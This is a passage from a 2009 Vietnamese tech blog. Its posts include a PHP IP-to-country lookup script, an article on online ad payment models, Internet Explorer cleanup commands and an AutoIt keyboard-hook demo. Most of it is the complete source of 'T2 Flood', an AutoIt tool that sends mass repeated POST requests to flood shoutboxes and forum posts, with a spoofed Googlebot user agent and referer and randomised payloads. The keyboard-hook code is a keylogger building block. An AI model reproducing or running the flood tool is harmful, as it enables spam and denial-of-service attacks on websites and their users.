$anp_cd["SV"]=array("El Salvador", "Central America and the Caribbean", "San Salvador", "El Salvador Colon");
$anp_cd["SY"]=array("Syria", "Middle East", "Damascus", "Syrian Pound");
$anp_cd["SZ"]=array("Swaziland", "Africa", "Mbabane", "Lilangeni");
$anp_cd["TC"]=array("Turks and Caicos Islands", "Central America and the Caribbean", "Cockburn Town", "US Dollar");
$anp_cd["TD"]=array("Chad", "Africa", "N'Djamena", "CFA Franc BEAC");
$anp_cd["TF"]=array("French Southern and Antarctic Lands", "Antarctic Region", "--", "Euro");
$anp_cd["TG"]=array("Togo", "Africa", "Lome", "CFA Franc BCEAO");
$anp_cd["TH"]=array("Thailand", "Southeast Asia", "Bangkok", "Baht");
$anp_cd["TJ"]=array("Tajikistan", "Commonwealth of Independent States", "Dushanbe", "Somoni");
$anp_cd["TK"]=array("Tokelau", "Oceania", "--", "New Zealand Dollar");
$anp_cd["TM"]=array("Turkmenistan", "Commonwealth of Independent States", "Ashgabat", "Manat");
$anp_cd["TN"]=array("Tunisia", "Africa", "Tunis", "Tunisian Dinar");
$anp_cd["TO"]=array("Tonga", "Oceania", "Nuku'alofa", "Pa'anga");
$anp_cd["TP"]=array("East Timor", "", "--", "Timor Escudo");
$anp_cd["TR"]=array("Turkey", "Middle East", "Ankara", "Turkish Lira");
$anp_cd["TT"]=array("Trinidad and Tobago", "Central America and the Caribbean", "Port-of-Spain", "Trinidad and Tobago Dollar");
$anp_cd["TV"]=array("Tuvalu", "Oceania", "Funafuti", "Australian Dollar");
$anp_cd["TW"]=array("Taiwan", "Southeast Asia", "Taipei", "New Taiwan Dollar");
$anp_cd["TZ"]=array("Tanzania", "Africa", "Dar es Salaam", "Tanzanian Shilling");
$anp_cd["UA"]=array("Ukraine", "Commonwealth of Independent States", "Kiev", "Hryvnia");
$anp_cd["UG"]=array("Uganda", "Africa", "Kampala", "Uganda Shilling");
$anp_cd["UK"]=array("United Kingdom", "Europe", "London", "Pound Sterling");
$anp_cd["UM"]=array("United States Minor Outlying Islands", "", "--", "US Dollar");
$anp_cd["US"]=array("United States","North America","Washington, DC","US Dollar");
$anp_cd["UY"]=array("Uruguay", "South America", "Montevideo", "Peso Uruguayo");
$anp_cd["UZ"]=array("Uzbekistan", "Commonwealth of Independent States", "Tashkent", "Uzbekistan Sum");
$anp_cd["VA"]=array("Holy See (Vatican City)", "Europe", "Vatican City", "Euro");
$anp_cd["VC"]=array("Saint Vincent and the Grenadines", "Central America and the Caribbean", "Kingstown", "East Caribbean Dollar");
$anp_cd["VE"]=array("Venezuela","South America, Central America and the Caribbean","Caracas","Bolivar");
$anp_cd["VG"]=array("British Virgin Islands", "Central America and the Caribbean", "Road Town", "US dollar");
$anp_cd["VI"]=array("Virgin Islands", "Central America and the Caribbean", "Charlotte Amalie", "US Dollar");
$anp_cd["VN"]=array("Vietnam", "Southeast Asia", "Hanoi", "Dong");
$anp_cd["VU"]=array("Vanuatu", "Oceania", "Port-Vila", "Vatu");
$anp_cd["WF"]=array("Wallis and Futuna", "Oceania", "Mata-Utu", "CFP Franc");
$anp_cd["WS"]=array("Samoa", "Oceania", "Apia", "Tala");
$anp_cd["YE"]=array("Yemen", "Middle East", "Sanaa", "Yemeni Rial");
$anp_cd["YT"]=array("Mayotte", "Africa", "Mamoutzou", "Euro");
$anp_cd["YU"]=array("Yugoslavia", "Europe", "Belgrade", "Yugoslavian Dinar");
$anp_cd["ZA"]=array("South Africa", "Africa", "Pretoria", "Rand");
$anp_cd["ZM"]=array("Zambia", "Africa", "Lusaka", "Kwacha");
$anp_cd["ZW"]=array("Zimbabwe", "Africa", "Harare", "Zimbabwe Dollar");
$anp_cd["PX"]=array("European Union", "none", "Europe", "Euro");

?>

Và: ip1.php

<?
include("countries.php");
function Dot2LongIP ($IPaddr)
{
if ($IPaddr == "") {
return 0;
} else {
$ips = split ("\.", "$IPaddr");
return ($ips[3] + $ips[2] * 256 + $ips[1] * 65536 + $ips[0]
*16777216); }
}
function main()
{
print <<<HTML
<form method=post action=ip1.php?hth=h>
<input name= "IPaddr" value=127.0.0.1 type=text>
<input type=submit value=submit>
</form>
HTML;
}
switch($hth)
{
case "h":
$ipnum= Dot2LongIP ($IPaddr);
$text=file("data.txt");
$ip=false;
for($i=0;$i<count($text);$i++)
{
$t=explode(",",$text[$i]);
$t1=$t[0];
$t2=$t[1];
$t3=$t[4];
$t4=$t[2];

$t1=split("\"",$t1);
$t2=split("\"",$t2);
$t3=split("\"",$t3);
$t4=split("\"",$t4);
$t1=$t1[1];
$t2=$t2[1];
$t3=$t3[1];
$t4=$t4[1];

if($ipnum>=$t1 & $ipnum<=$t2)
{
echo "Country:".$t3;
echo ":
<img width=40 height=30 src=flags/".strtolower($t4).".gif>";
$dl=$anp_cd[$t4];
echo "
Region:".$dl[1];
echo "
Country Capital:".$dl[2];
echo "
Currency:".$dl[3];

$ip=true;
break;
}
}
echo ($ip==false)?"No Country":"";
break;
default:
main();
break;
}
?>

Direct Ads, CPM, CPC và CPA – bạn chọn loại nào?

By admin on Thứ Hai, Tháng Năm 11, 2009
Filled Under: Make Money

Nếu như ghé qua các website hay các blog, chắc chắn rằng các bạn đã nhìn thấy rất nhiều các loại quảng cáo xuất hiện trên đó. Có bao giờ bạn tự hỏi “Đó là loại quảng cáo gì và họ kiếm tiền từ nó như thế nào?”.

Thật ra, các hệ thống quảng cáo trực tuyến thì có rất nhiều và cách thể hiện chúng cũng rất khác nhau. Nhưng tựu chung lại chúng cũng chỉ bao gồm trong các loại: Direct Ads, CPM, CPC, CPA.

Lựa chọn hệ thống quảng cáo nào và kiếm tiền từ nó như thế nào là lựa chọn riêng của mỗi người. Nhưng lựa chọn đó có thích hợp không thì lại là điều chúng ta cần bàn đến.

Trong bài này, Phamen sẽ cùng các bạn tìm hiểu và phân tích xem nên lựa chọn loại quảng cáo nào để phù hợp nhất với blog của các bạn.

Direct Ads

Khác với tất cả các hình thức còn lại, đây là hình thức bán quảng cáo trực tiếp. Blogger và các nhà quảng cáo sẽ tự liên hệ với nhau, tự thỏa thuận giá cả và phương thức thanh toán.

  • Ưu điểm: các nhà quảng cáo được quyền chọn site mà mình thích để đặt quảng cáo, còn các blogger cũng chỉ đặt các quảng cáo mà họ mong muốn. Loại quảng cáo này giúp cho các nhà quảng cáo phải bỏ ra ít chi phí hơn và các blogger cũng kiếm được nhiều tiền hơn do họ không phải trả một khoản phí trung gian – đó chính là các hệ thống quảng cáo.
  • Nhược điểm: không phải lúc nào các nhà quảng cáo và các blogger đều tìm đến được với nhau. Đơn giản là không phải tất cả chúng ta đều biết nhau. Do vậy, nếu như blog của bạn không phải là một blog nổi tiếng và không được nhiều người biết đến thì cơ hội để bạn bán loại quảng cáo này là không nhiều.

Đây là loại quảng cáo mà các blogger rất khó bán được vì không phải lúc nào nhu cầu của nhà quảng cáo và nội dung trên blog của bạn cũng phù hợp với nhau. Do vậy, nếu có một lời đề nghị được đặt quảng cáo nào đó trên blog của bạn thì bạn hãy tận dụng triệt để cơ hội này.

CPM

CPM là từ viết tắt của cụm từ Cost Per Million hay Cost Per thousand Impression. Đây là loại quảng cáo trả tiền theo số lần hiển thị. Blog của bạn càng có nhiều người xem và số trang mà họ xem càng nhiều thì bạn càng được trả nhiều tiền. Công việc của bạn chỉ là đặt quảng cáo trên blog, thu hút thêm nhiều người xem và kiếm tiền mà không phải bận tâm đến điều gì khác.

  • Ưu điểm: loại quảng cáo này đơn giản, dễ sử dụng và dễ kiếm tiền do bạn không phải làm gì khác ngoài việc đặt quảng cáo trên blog cho chúng hiển thị. Các công việc còn lại như tìm kiếm nhà quảng cáo, thống kê thu nhập, thanh toán, … đều do các hệ thống quảng cáo làm. Loại quảng cáo này hầu như đều có thể đặt trên mọi loại blog. Do vậy, bất kể blog của bạn có chủ đề gì, nội dung trên đó ra sao, bạn đều có thể sử dụng loại quảng cáo CPM để kiếm tiền. Nếu như blog của bạn có nhiều người xem thì đây là một loại quảng cáo rất thích hợp và là nguồn thu nhập rất ổn định.
  • Nhược điểm: do là một hình thức trả tiền theo số lần hiển thị, nên nếu blog của bạn có ít người xem và số lượng page view của bạn không nhiều thì bạn sẽ chẳng kiếm được bao nhiêu từ nó. Ngoài ra, một số hệ thống quảng cáo còn yêu cầu mỗi ngày hoặc mỗi tháng bạn phải có tối thiểu bao nhiêu người truy cập hoặc bao nhiêu page view thì mới chấp nhận cho bạn tham gia. Cho nên, nếu bạn có ít người truy cập thì không phải lúc nào bạn cũng tham gia được hình thức quảng cáo này.

CPC

CPC (Cost Per Click) hay PPC (Pay Per Click) là hình hệ thống quảng cáo trả tiền cho từng cú click lên quảng cáo. Công việc lúc này của bạn không còn đơn giản là đặt quảng cáo, chờ nó hiển thị để kiếm tiền như CPM nữa, mà bạn phải bỏ công sức để tối ưu nó sao cho người đọc click vào thì bạn mới kiếm được tiền. Để người đọc click vào quảng cáo không phải là một việc đơn giản. Bạn cần phải có nội dung phù hợp với quảng cáo, cần phải có vị trí đặt quảng cáo, màu sắc, kích cỡ thích hợp thì mới có được nhiều click. Bạn sẽ phải bỏ nhiều thời gian và công sức hơn nếu muốn kiếm tiền từ CPC.

  • Ưu điểm: dễ tham gia. Hầu như các hệ thống quảng cáo không yêu cầu mức traffic của bạn. Cho dù là một site mới thành lập hay đã lâu năm, bạn đều có thể tham gia hệ thống quảng cáo này. Khi đó, thu nhập của bạn không còn phụ thuộc vào số lượng người xem nữa, mà nó sẽ phụ thuộc vào số click. Có thể blog của bạn có ít người xem hơn blog khác, nhưng bạn biết tối ưu hóa quảng cáo để được người đọc click nhiều hơn thì thu nhập của bạn sẽ cao hơn. Do nó đòi hỏi bạn phải bỏ ra nhiều công sức hơn nên nó cũng giúp bạn kiếm được nhiều tiền hơn.
  • Nhược điểm: phải có click mới có tiền. Bạn chỉ có thể tối ưu hóa nội dung cũng như quảng cáo, còn bạn kiếm được bao nhiêu tiền thì bạn không thể quyết định được. Người đọc sẽ quyết định bạn kiếm được bao nhiêu tiền. Bạn hoàn toàn bị phụ thuộc vào người đọc do vậy có thể nói đây là hình thức quảng cáo không mang lại thu nhập ổn định như CPM.

CPA

CPA (Cost per Action), hay còn được gọi với các tên khác như: CPL (Cost per Lead) hay CPS (Cost per Sales). Đây là loại quảng cáo có yêu cầu cao nhất trong các hình thức trên, nhưng bù lại bạn lại kiếm được nhiều tiền nhất nếu như thực hiện tốt. Đúng như tên gọi, Cost per Action, không chỉ có để cho quảng cáo hiển thị như CPM, không chỉ click là có tiền như CPC, mà CPA đòi hỏi người dùng phải click vào quảng cáo và thực hiện một hoặc một chuỗi hành động tiếp theo cú click đó thì chúng ta mới có tiền. Các hành động này sẽ do nhà quảng cáo quy định. Đơn giản nhất là đăng ký thành viên, đăng ký nhận email giới thiệu về sản phẩm hay dịch vụ nào đó, tham gia trả lời các survey, dùng thử và cho ý kiến về một sản phẩm mới, v.v.. cho đến mức cao nhất là người dùng phải bỏ tiền túi ra để mua một sản phẩm hoặc dịch vụ nào đó mà nhà quảng cáo chào bán thì bạn mới kiếm được tiền. Lúc này, có thể coi như bạn là một đại lý bán hàng hoặc giới thiệu sản phẩm cho các nhà quảng cáo.

  • Ưu điểm: Kiếm được nhiều tiền nhất. Do chúng có yêu cầu cao nhất nên số tiền mà bạn kiếm được từ chúng cũng sẽ cao nhất nếu bạn thực hiện tốt. CPA cũng không hề yêu cầu blog của bạn có nhiều người xem hay không, chúng cũng không phụ thuộc vào người dùng click nhiều hay ít, mà chúng phụ thuộc vào hành động cuối cùng của người đọc. Có thể người khác có nhiều người xem hơn bạn, người đọc của họ click vào quảng cáo nhiều hơn bạn, nhưng người đọc trên blog của họ không thực hiện “Action” cuối cùng mà nhà quảng cáo yêu cầu nhiều như người đọc trên blog của bạn làm thì bạn vẫn kiếm được nhiều tiền hơn họ.
  • Nhược điểm: Khó kiếm tiền nhất. Không phải người đọc nào cũng chấp nhận thực hiện các hành động mà nhà quảng cáo yêu cầu. Có thể họ chỉ click vào quảng cáo, nếu thấy có ích thì họ còn đọc, nếu không họ sẽ chẳng thèm quan tâm nó là gì. Điều khó nhất là bạn phải làm thế nào để người đọc chấp nhận thực hiện các hành động mà nhà quảng cáo yêu cầu. Đây là việc không hề đơn giản nếu như họ còn phải bỏ tiền túi ra.

Sau khi đã biết qua các hình thức quảng cáo bên trên, bạn sẽ chọn loại nào cho blog của mình?

Khó có thể trả lời một cách chắc chắn là bạn sẽ lựa chọn loại quảng cáo nào vì nó còn phụ thuộc vào loại chủ đề mà bạn viết, lượng người đọc mà bạn có và từng khoảng thời gian nhất định.

Nhưng theo Phamen, nên kết hợp tất cả các loại hình quảng cáo bên trên để tối đa hóa thu nhập cho blog của bạn. Mỗi hình thức có những ưu và nhược điểm riêng, do vậy nếu chúng được kết hợp với nhau thì sẽ bổ sung cho nhau giúp bạn tối ưu hóa thu nhập. Tuy vậy, việc ưu tiên cho hình thức nào nhất và tập trung phát triển cho hình thức đó lại là một việc nên làm. Hay nói cách khác, trong kinh doanh, người ta gọi đó là tập trung phát triển lợi thế so sánh.

Mẹo vặt – Xóa linh tinh trong các phần của IE

By admin on Thứ Bảy, Tháng Năm 9, 2009
Filled Under: Hack - Security

Delete Temporary Internet Files
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8

Delete Cookies
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2

Delete History
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1

Delete Form Data
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16

Delete Stored Passwords
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32

Delete All
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255

Delete All with the “Also delete files and settings stored by add-ons” options selected
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351

Now it seems that the interesting bit is that you can combine the numbers to get 2 or more functions at the same time. For example, type:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 9

AutoIt – Kiểm tra người dùng viết gì.

By admin on Thứ Năm, Tháng Năm 7, 2009
Filled Under: AutoIT

Global Const $WH_KEYBOARD_LL = 13
Global $hHook
Global $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
Global $hmod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", _
 $WH_KEYBOARD_LL, "ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hmod[0], "dword", 0)
Global $buffer = ""

MsgBox(4096, "", "Nhap chuot vao OK sau do mo Notepad va viet......." & _
 @LF & @LF & "Jon" & @LF & "AutoIt")

While 1
 Sleep(10)
WEnd

Func EvaluateKey($keycode)
 If (($keycode > 64) And ($keycode < 91)) _
 Or (($keycode > 47) And ($keycode < 58)) Then
 $buffer &= Chr($keycode)
 Switch $buffer
 Case "Jon"
 ToolTip("What can you say?")
 Case "AUTOIT"
 ToolTip("AutoIt Rocks")
 EndSwitch
 ElseIf ($keycode > 159) And ($keycode < 164) Then
 Return
 Else
 $buffer = ""
 EndIf
EndFunc   ;==>EvaluateKey

Func _KeyProc($nCode, $wParam, $lParam)
 Local $ret, $KEYHOOKSTRUCT
 If $nCode < 0 Then
 $ret = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], _
 "int", $nCode, "wparam", $wParam, "lparam", $lParam)
 Return $ret[0]
 EndIf
 If $wParam = 256 Then
 $KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
 EvaluateKey(DllStructGetData($KEYHOOKSTRUCT, 1))
 EndIf
 $ret = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], _
 "int", $nCode, "ptr", $wParam, "ptr", $lParam)
 Return $ret[0]
EndFunc   ;==>_KeyProc

Func OnAutoItExit()
 DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
 DllCallbackFree($hStub_KeyProc)
EndFunc   ;==>OnAutoItExit

[AutoIt] Source tool Flood có GUI

By admin on Chủ Nhật, Tháng Năm 3, 2009
Filled Under: AutoIT, Hack - Security

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Version=beta
#AutoIt3Wrapper_icon=..\..\Desktop\thingsNSP\Babvil.ico
#AutoIt3Wrapper_outfile=..\..\Desktop\T2 Flood\T2 Flood.exe
#AutoIt3Wrapper_Res_Comment=Flood Shoutbox, bai viet, vv
#AutoIt3Wrapper_Res_Description=T2 Flood Beta
#AutoIt3Wrapper_Res_Fileversion=0.0.0.0
#AutoIt3Wrapper_Res_LegalCopyright=Copyright 2009 by thuongtin@gmail.com
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <GuiEdit.au3>
Global $coki
$Form1_1 = GUICreate("o0o T2 Flood Beta o0o", 627, 555, 192, 124, BitOR($WS_MINIMIZEBOX,$WS_SYSMENU,$WS_POPUP,$WS_GROUP,$WS_CLIPSIBLINGS))
GUISetBkColor(0x000000)
$T2 = GUICtrlCreateGroup(" o0o T2 Flood Beta o0o ", 24, 96, 577, 113, $BS_CENTER)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
$ckLogin = GUICtrlCreateCheckbox("Login", 40, 119, 13, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$cLogin = GUICtrlCreateLabel("Login Web", 56, 120, 65, 17)
GUICtrlSetColor(-1, 0xFFFF00)
$LUrl = GUICtrlCreateInput("URL", 104, 144, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$Label1 = GUICtrlCreateLabel("URL", 72, 148, 29, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$Label3 = GUICtrlCreateLabel("", 264, 176, 4, 4)
$Label2 = GUICtrlCreateLabel("Data", 68, 180, 31, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$LData = GUICtrlCreateInput("Info User", 104, 176, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlSetCursor (-1, 9)
$Pic1 = GUICtrlCreatePic("pic.jpg", 32, 0, 598, 84, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS), $GUI_WS_EX_PARENTDRAG)
GUICtrlSetCursor (-1, 9)
$Group1 = GUICtrlCreateGroup(" o0o - Flood - o0o ", 24, 216, 577, 121, $BS_CENTER)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
$Label4 = GUICtrlCreateLabel("URL", 74, 251, 29, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$URL = GUICtrlCreateInput("URL", 104, 248, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$Label5 = GUICtrlCreateLabel("Data", 70, 296, 31, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$DATA = GUICtrlCreateEdit("", 104, 280, 465, 49, $WS_VSCROLL)
GUICtrlSetData(-1, "")
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup(" o0o - Other - o0o ", 24, 352, 577, 169, $BS_CENTER)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
$Label6 = GUICtrlCreateLabel("User-Agent", 34, 378, 67, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$useragent = GUICtrlCreateInput("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10", 104, 376, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$Label7 = GUICtrlCreateLabel("Referer", 56, 410, 46, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$referer = GUICtrlCreateInput("http://google.com", 104, 408, 465, 21)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x808080)
$ckAuth = GUICtrlCreateCheckbox("ckAuth", 48, 442, 17, 17)
$Label8 = GUICtrlCreateLabel("Authorization", 72, 444, 78, 17)
GUICtrlSetColor(-1, 0xFFFF00)
$aUser = GUICtrlCreateInput("Username", 160, 440, 113, 21)
GUICtrlSetBkColor(-1, 0x272727)
$aPass = GUICtrlCreateInput("Password", 288, 440, 105, 21)
GUICtrlSetBkColor(-1, 0x353535)
$bntSend = GUICtrlCreateButton("Send", 408, 440, 73, 25, $WS_GROUP)
$Label10 = GUICtrlCreateLabel("So luong", 40, 482, 54, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$Soluong = GUICtrlCreateInput("1", 104, 480, 65, 21, BitOR($ES_AUTOHSCROLL,$ES_NUMBER))
GUICtrlSetBkColor(-1, 0x808080)
GUICtrlCreateLabel("", 152, 496, 4, 4)
$Conlai = GUICtrlCreateLabel("0", 224, 484, 100, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Label9 = GUICtrlCreateLabel("Copyright 2009 by Song Chet Group", 424, 528, 174, 17)
GUICtrlSetColor(-1, 0xFFFFFF)
$btClose = GUICtrlCreateButton("Close", 496, 440, 73, 25, $WS_GROUP)
GUISetState(@SW_SHOW)

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

Case $bntSend
 T2Send()
Case $btClose
 Exit
EndSwitch
WEnd

Func Post($pUrl, $pData, $pUserAgent="Googlebot", $pReferer="http://google.com", $pAUser="", $pAPass="", $pCookie="")
 $oHttpRequest = ObjCreate("WinHttp.WinHttpRequest.5.1")
 $oHttpRequest.Open ("POST", $pUrl,True)
 If $pAUser <> "" And $pAPass <> "" Then
 $oHttpRequest.SetCredentials( $pAUser, $pAPass, 0)
 EndIf
 $oHttpRequest.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded")
 $oHttpRequest.setRequestHeader ("User-Agent", $pUserAgent)
 $oHttpRequest.setRequestHeader ("Accept-Language", "en-us,en;q=0.5")
 $oHttpRequest.setRequestHeader ("Accept-Encoding", "gzip,deflate")
 $oHttpRequest.setRequestHeader ("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
 $oHttpRequest.setRequestHeader ("Connection", "Keep-Alive")
 $oHttpRequest.setRequestHeader ("Referer", $pReferer)
 If $pCookie <> "" Then
 $oHttpRequest.setRequestHeader ("Cookie", $pCookie)
 EndIf
 $oHttpRequest.Send ($pData)
 $a = $oHttpRequest.getAllResponseHeaders()
 $oHttpRequest = ""
 ;MsgBox(0, "", $a)
 $sm = StringSplit($a, "Set-Cookie:", 1)
 $sl = UBound($sm, 1) - 1
 For $i = 2 To $sl Step +1
 $sm2 = StringSplit($sm[$i], ";", 1)
 $coki &= $sm2[1] & ";"
 Next
EndFunc
 Func T2Send()
 $t2sl = _GUICtrlEdit_GetText($Soluong)
 $t2Lcheck = GUICtrlRead($ckLogin)
 If $t2Lcheck == 1 Then
 $t2Lurl = _GUICtrlEdit_GetText($LUrl)
 $ptt2Lurl = StringSplit($t2Lurl, "=SCG=", 1)
 $slpturl = UBound($ptt2Lurl, 1) - 1
 $t2LData = _GUICtrlEdit_GetText($LData)
 $ptt2LData = StringSplit($t2LData, "=SCG=", 1)
 $slptdata = UBound($ptt2LData, 1) - 1
 EndIf
 $t2Url = _GUICtrlEdit_GetText($URL)
 $t2Data = _GUICtrlEdit_GetText($DATA)
 $t2UA = _GUICtrlEdit_GetText($useragent)
 $t2ref = _GUICtrlEdit_GetText($referer)
 $t2Athcheck = GUICtrlRead($ckAuth)
 If $t2Athcheck == 1 Then
 $t2AUser = _GUICtrlEdit_GetText($aUser)
 $t2APass = _GUICtrlEdit_GetText($aPass)
 Else
 $t2AUser = ""
 $t2APass = ""
 EndIf

 If $t2Lcheck <> 1 Then
 For $ii = 1 To $t2sl Step + 1
 $stime = @MIN & @SEC & @MSEC & $ii
 $t2Data2 = StringRegExpReplace($t2Data, "(\(\*\))", $stime)
 Post($t2Url, $t2Data2, $t2UA, $t2ref, $t2AUser, $t2APass)
 GUICtrlSetData($Conlai, $ii)
 Next

 Else
 If $slpturl == 1 Then
 Post($t2Lurl, $t2LData, $t2UA, $t2ref, $t2AUser, $t2APass)
 $cokis = StringStripWS($coki, 3)
 Else
 For $i2 = 1 To $slpturl Step + 1
 Post($ptt2Lurl[$i2], $ptt2LData[$i2], $t2UA, $t2ref, $t2AUser, $t2APass, $cokis)
 $cokis = StringStripWS($coki, 3)
 Next
 EndIf

 For $iii = 1 To $t2sl Step + 1
 Sleep(10)
 $stime = @MIN & @SEC & @MSEC & $iii
 $t2Data2 = StringRegExpReplace($t2Data, "(\(\*\))", $stime)
 Post($t2Url, $t2Data2, $t2UA, $t2ref, $t2AUser, $t2APass, $cokis)
 GUICtrlSetData($Conlai, $iii)
 Next
 EndIf
 EndFunc
  • Thương Tín: Javascript thì mở popup đc còn ẩn nó thì ko đc. Nế...
  • admin: Cậu xài Win gì? Và lỗi hiển thị là gì vậy?...
  • vxx9x: có các nào mở popup 1 trang web mà cho nó ẩn lun d...
  • pocapoca: Link die rồi anh ơi...
  • Le Quoc Nam: KHông chạy được bạn ơi. Lỗi ngay dòng 7...

Bad Behavior has blocked 89 access attempts in the last 7 days.